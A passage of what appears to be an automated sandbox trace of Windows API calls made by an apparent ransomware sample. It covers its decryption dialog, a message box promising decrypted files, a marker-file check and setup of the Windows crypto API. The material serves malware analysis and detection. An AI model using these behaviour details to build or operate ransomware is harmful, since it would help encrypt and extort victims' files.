(hWnd=0x5018c, hAccTable=0x4e01dd, lpMsg=0xc80cb2f8f0) returned 0 [0033.766] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0033.766] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.766] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x400, wParam=0x0, lParam=0x0) returned 0x0 [0033.767] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.767] TranslateAcceleratorW (hWnd=0x5018c, hAccTable=0x4e01dd, lpMsg=0xc80cb2f8f0) returned 0 [0033.767] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0033.767] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.767] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.767] GetWindowLongPtrW (hWnd=0x9001e, nIndex=-21) returned 0x3 [0033.767] IsWindow (hWnd=0x9001e) returned 1 [0033.767] IsWindowEnabled (hWnd=0x9001e) returned 1 [0033.767] GetCursorPos (in: lpPoint=0xc80cb2f1e0 | out: lpPoint=0xc80cb2f1e0*(x=568, y=532)) returned 1 [0033.767] ScreenToClient (in: hWnd=0x5018c, lpPoint=0xc80cb2f1e0 | out: lpPoint=0xc80cb2f1e0) returned 1 [0033.767] GetAsyncKeyState (vKey=1) returned 1 [0033.767] GetAsyncKeyState (vKey=2) returned 0 [0033.768] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.768] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.768] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.768] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x20, wParam=0x9001e, lParam=0x2000001) returned 0x0 [0033.768] TranslateAcceleratorW (hWnd=0x5018c, hAccTable=0x4e01dd, lpMsg=0xc80cb2f8f0) returned 0 [0033.768] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0033.768] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.768] TranslateAcceleratorW (hWnd=0x5018c, hAccTable=0x4e01dd, lpMsg=0xc80cb2f8f0) returned 0 [0033.768] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0033.768] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.768] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x14, wParam=0x4c0106dd, lParam=0x0) returned 0x1 [0033.768] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.768] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.768] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.768] SetBkColor (hdc=0x4c0106dd, color=0xf0f0f0) returned 0xf0f0f0 [0033.768] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.768] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x318, wParam=0x4c0106dd, lParam=0x4) returned 0x0 [0033.768] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.768] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.768] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.768] SetBkColor (hdc=0x4c0106dd, color=0xf0f0f0) returned 0xf0f0f0 [0033.768] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.768] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.768] GetWindowLongPtrW (hWnd=0x9001e, nIndex=-21) returned 0x3 [0033.768] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x3, lParam=0xc80cb2f090) returned 0x0 [0033.768] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.768] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.768] GetWindowLongPtrW (hWnd=0x9001e, nIndex=-21) returned 0x3 [0033.768] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x3, lParam=0xc80cb2f090) returned 0x0 [0033.768] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.768] TranslateAcceleratorW (hWnd=0x5018c, hAccTable=0x4e01dd, lpMsg=0xc80cb2f8f0) returned 0 [0033.768] TranslateMessage (lpMsg=0xc80cb2f8f0) returned 0 [0033.768] DispatchMessageW (lpMsg=0xc80cb2f8f0) returned 0x0 [0033.768] GetForegroundWindow () returned 0x5018c [0033.768] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.768] GetCursorPos (in: lpPoint=0xc80cb2f750 | out: lpPoint=0xc80cb2f750*(x=568, y=532)) returned 1 [0033.768] ScreenToClient (in: hWnd=0x5018c, lpPoint=0xc80cb2f750 | out: lpPoint=0xc80cb2f750) returned 1 [0033.769] GetAsyncKeyState (vKey=1) returned 0 [0033.769] GetAsyncKeyState (vKey=2) returned 0 [0033.769] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.769] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.769] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.769] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.769] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.769] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.769] SetWindowTextW (hWnd=0x80020, lpString="") returned 1 [0033.770] SendMessageW (hWnd=0x80020, Msg=0xb1, wParam=0xf4240, lParam=0xf423f) returned 0x1 [0033.770] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.770] TranslateAcceleratorW (hWnd=0x5018c, hAccTable=0x4e01dd, lpMsg=0xc80cb2f8f0) returned 0 [0033.770] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0033.770] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.770] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.770] GetWindowLongPtrW (hWnd=0x80020, nIndex=-21) returned 0x4 [0033.770] GetWindowLongPtrW (hWnd=0x80020, nIndex=-21) returned 0x4 [0033.770] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.770] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0x0 [0033.770] SetBkColor (hdc=0x1601069e, color=0x0) returned 0xffffff [0033.770] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.770] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.770] GetWindowLongPtrW (hWnd=0x80020, nIndex=-21) returned 0x4 [0033.770] GetWindowLongPtrW (hWnd=0x80020, nIndex=-21) returned 0x4 [0033.770] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.771] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0xff00 [0033.771] SetBkColor (hdc=0x1601069e, color=0x0) returned 0x0 [0033.771] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.771] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.771] GetWindowLongPtrW (hWnd=0x80020, nIndex=-21) returned 0x4 [0033.771] GetWindowLongPtrW (hWnd=0x80020, nIndex=-21) returned 0x4 [0033.771] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.771] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0xff00 [0033.771] SetBkColor (hdc=0x1601069e, color=0x0) returned 0x0 [0033.771] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.771] MessageBoxW (hWnd=0x0, lpText="Your files will be decrypted if the decryption key was correct", lpCaption="Decrypt files", uType=0x10040) returned 1 [0033.794] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.794] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x86, wParam=0x0, lParam=0x70182) returned 0x1 [0033.794] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.794] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.794] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x6, wParam=0x0, lParam=0x70182) returned 0x0 [0033.797] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.797] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.797] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x20, wParam=0x9001e, lParam=0x2000001) returned 0x0 [0033.798] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.798] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x14, wParam=0x4c0106dd, lParam=0x0) returned 0x1 [0033.798] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.798] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.798] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.798] SetBkColor (hdc=0x4c0106dd, color=0xf0f0f0) returned 0xf0f0f0 [0033.798] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.798] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x318, wParam=0x4c0106dd, lParam=0x4) returned 0x0 [0033.798] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.798] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.798] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.798] SetBkColor (hdc=0x4c0106dd, color=0xf0f0f0) returned 0xf0f0f0 [0033.798] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.798] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.798] GetWindowLongPtrW (hWnd=0x9001e, nIndex=-21) returned 0x3 [0033.798] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x3, lParam=0xc80cb2ebc0) returned 0x0 [0033.798] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.798] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.798] GetWindowLongPtrW (hWnd=0x9001e, nIndex=-21) returned 0x3 [0033.798] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x3, lParam=0xc80cb2ebc0) returned 0x0 [0033.803] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.803] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.803] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x3, lParam=0xc80cb2f0c0) returned 0x0 [0033.803] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.804] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x14, wParam=0x4c0106dd, lParam=0x0) returned 0x1 [0033.804] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.804] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.804] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.804] SetBkColor (hdc=0x4c0106dd, color=0xf0f0f0) returned 0xf0f0f0 [0033.804] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.804] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x318, wParam=0x4c0106dd, lParam=0x4) returned 0x0 [0033.804] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.804] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.804] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.804] SetBkColor (hdc=0x4c0106dd, color=0xf0f0f0) returned 0xf0f0f0 [0033.804] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.804] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.804] GetWindowLongPtrW (hWnd=0x9001e, nIndex=-21) returned 0x3 [0033.804] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x3, lParam=0xc80cb2ebc0) returned 0x0 [0033.804] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.804] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.804] GetWindowLongPtrW (hWnd=0x9001e, nIndex=-21) returned 0x3 [0033.804] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x3, lParam=0xc80cb2ebc0) returned 0x0 [0033.815] GetForegroundWindow () returned 0x70182 [0033.815] GetWindowLongPtrW (hWnd=0x70182, nIndex=-21) returned 0xc80cb2f760 [0033.860] GetForegroundWindow () returned 0x70182 [0033.860] GetWindowLongPtrW (hWnd=0x70182, nIndex=-21) returned 0xc80cb2f760 [0033.897] GetForegroundWindow () returned 0x70182 [0033.897] GetWindowLongPtrW (hWnd=0x70182, nIndex=-21) returned 0xc80cb2f760 [0033.933] Shell_NotifyIconW (dwMessage=0x1, lpData=0xc80cb2e9c0) returned 1 [0033.934] KillTimer (hWnd=0x4002c, uIDEvent=0x1) returned 1 [0033.934] SetTimer (hWnd=0x4002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0033.950] GetForegroundWindow () returned 0x70182 [0033.950] GetWindowLongPtrW (hWnd=0x70182, nIndex=-21) returned 0xc80cb2f760 [0033.997] GetForegroundWindow () returned 0x70182 [0033.997] GetWindowLongPtrW (hWnd=0x70182, nIndex=-21) returned 0xc80cb2f760 [0034.006] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.006] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0034.042] GetForegroundWindow () returned 0x7017e [0034.042] GetWindowLongPtrW (hWnd=0x7017e, nIndex=-21) returned 0x0 [0034.091] GetForegroundWindow () returned 0x70182 [0034.091] GetWindowLongPtrW (hWnd=0x70182, nIndex=-21) returned 0xc80cb2f760 [0034.117] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.117] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0034.117] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.117] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0034.118] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.118] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0034.133] GetForegroundWindow () returned 0x70182 [0034.133] GetWindowLongPtrW (hWnd=0x70182, nIndex=-21) returned 0xc80cb2f760 [0034.183] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.183] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x46, wParam=0x0, lParam=0xc80cb2f320) returned 0x0 [0034.183] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.183] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x47, wParam=0x0, lParam=0xc80cb2f320) returned 0x0 [0034.183] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.184] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0034.184] NtdllDefWindowProc_W (hWnd=0x4002c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0034.184] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.184] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0034.184] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.184] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.184] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0034.188] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0034.188] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.188] GetWindowLongW (hWnd=0x5018c, nIndex=-20) returned 256 [0034.188] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x84, wParam=0x0, lParam=0x2030363) returned 0x1 [0034.188] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.188] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.188] GetClientRect (in: hWnd=0x5018c, lpRect=0xc80cb2f5a0 | out: lpRect=0xc80cb2f5a0) returned 1 [0034.188] GetCursorPos (in: lpPoint=0xc80cb2f5c0 | out: lpPoint=0xc80cb2f5c0*(x=867, y=515)) returned 1 [0034.188] ScreenToClient (in: hWnd=0x5018c, lpPoint=0xc80cb2f5c0 | out: lpPoint=0xc80cb2f5c0) returned 1 [0034.189] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0034.189] SetCursor (hCursor=0x10003) returned 0x10003 [0034.189] TranslateAcceleratorW (hWnd=0x5018c, hAccTable=0x4e01dd, lpMsg=0xc80cb2f8f0) returned 0 [0034.189] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0034.189] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.189] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x200, wParam=0x0, lParam=0x18d0222) returned 0x0 [0034.189] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0034.189] TranslateAcceleratorW (hWnd=0x5018c, hAccTable=0x4e01dd, lpMsg=0xc80cb2f8f0) returned 0 [0034.189] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0034.189] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.189] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x14, wParam=0x4c0106dd, lParam=0x0) returned 0x1 [0034.189] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.189] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.189] GetSysColor (nIndex=15) returned 0xf0f0f0 [0034.189] SetBkColor (hdc=0x4c0106dd, color=0xf0f0f0) returned 0xf0f0f0 [0034.189] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.189] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x318, wParam=0x4c0106dd, lParam=0x4) returned 0x0 [0034.189] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.189] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.189] GetSysColor (nIndex=15) returned 0xf0f0f0 [0034.189] SetBkColor (hdc=0x4c0106dd, color=0xf0f0f0) returned 0xf0f0f0 [0034.189] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.189] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.190] GetWindowLongPtrW (hWnd=0x9001e, nIndex=-21) returned 0x3 [0034.190] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x3, lParam=0xc80cb2f090) returned 0x0 [0034.190] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.190] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.190] GetWindowLongPtrW (hWnd=0x9001e, nIndex=-21) returned 0x3 [0034.190] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x3, lParam=0xc80cb2f090) returned 0x0 [0034.190] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0034.190] TranslateAcceleratorW (hWnd=0x5018c, hAccTable=0x4e01dd, lpMsg=0xc80cb2f8f0) returned 0 [0034.190] TranslateMessage (lpMsg=0xc80cb2f8f0) returned 0 [0034.190] DispatchMessageW (lpMsg=0xc80cb2f8f0) returned 0x0 [0034.190] GetForegroundWindow () returned 0x5018c [0034.190] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.190] GetCursorPos (in: lpPoint=0xc80cb2f750 | out: lpPoint=0xc80cb2f750*(x=867, y=515)) returned 1 [0034.190] ScreenToClient (in: hWnd=0x5018c, lpPoint=0xc80cb2f750 | out: lpPoint=0xc80cb2f750) returned 1 [0034.190] GetAsyncKeyState (vKey=1) returned 1 [0034.190] GetAsyncKeyState (vKey=2) returned 0 [0034.190] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0034.190] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0034.191] SendMessageW (hWnd=0x501e6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd [0034.191] GetWindowTextW (in: hWnd=0x501e6, lpString=0xc80cd7ddc0, nMaxCount=14 | out: lpString="Decryptionkey") returned 13 [0034.192] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.192] FindFirstFileW (in: lpFileName="C:\\PROGRA~1\\COMMON~1\\31236356313123635631", lpFindFileData=0xc80cb2f000 | out: lpFindFileData=0xc80cb2f000) returned 0xc80cd66b10 [0034.193] FindClose (in: hFindFile=0xc80cd66b10 | out: hFindFile=0xc80cd66b10) returned 1 [0034.193] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.193] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0034.193] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 [0034.193] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0034.198] PeekMessageW (in: lpMsg=0xc80cb2eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eca0) returned 0 [0034.198] GetLastError () returned 0x0 [0034.198] SetLastError (dwErrCode=0x0) [0034.198] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 [0034.198] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x7ffe2a590000 [0034.199] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 [0034.199] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 [0034.199] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0034.199] PeekMessageW (in: lpMsg=0xc80cb2ef90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ef90) returned 0 [0034.199] PeekMessageW (in: lpMsg=0xc80cb2ef90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ef90) returned 0 [0034.200] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 [0034.200] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 [0034.200] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0034.200] PeekMessageW (in: lpMsg=0xc80cb2ea10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ea10) returned 0 [0034.201] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0034.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0034.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0xc80cd8d110, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0034.201] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptAcquireContext") returned 0x0 [0034.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0034.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0xc80cd8d110, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0034.202] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptAcquireContextA") returned 0x7ffe2a59f478 [0034.202] CryptAcquireContextA (in: phProv=0xc80cb2ea00, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xc80cb2ea00*=0xc80cdbd4c0) returned 1 [0034.214] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 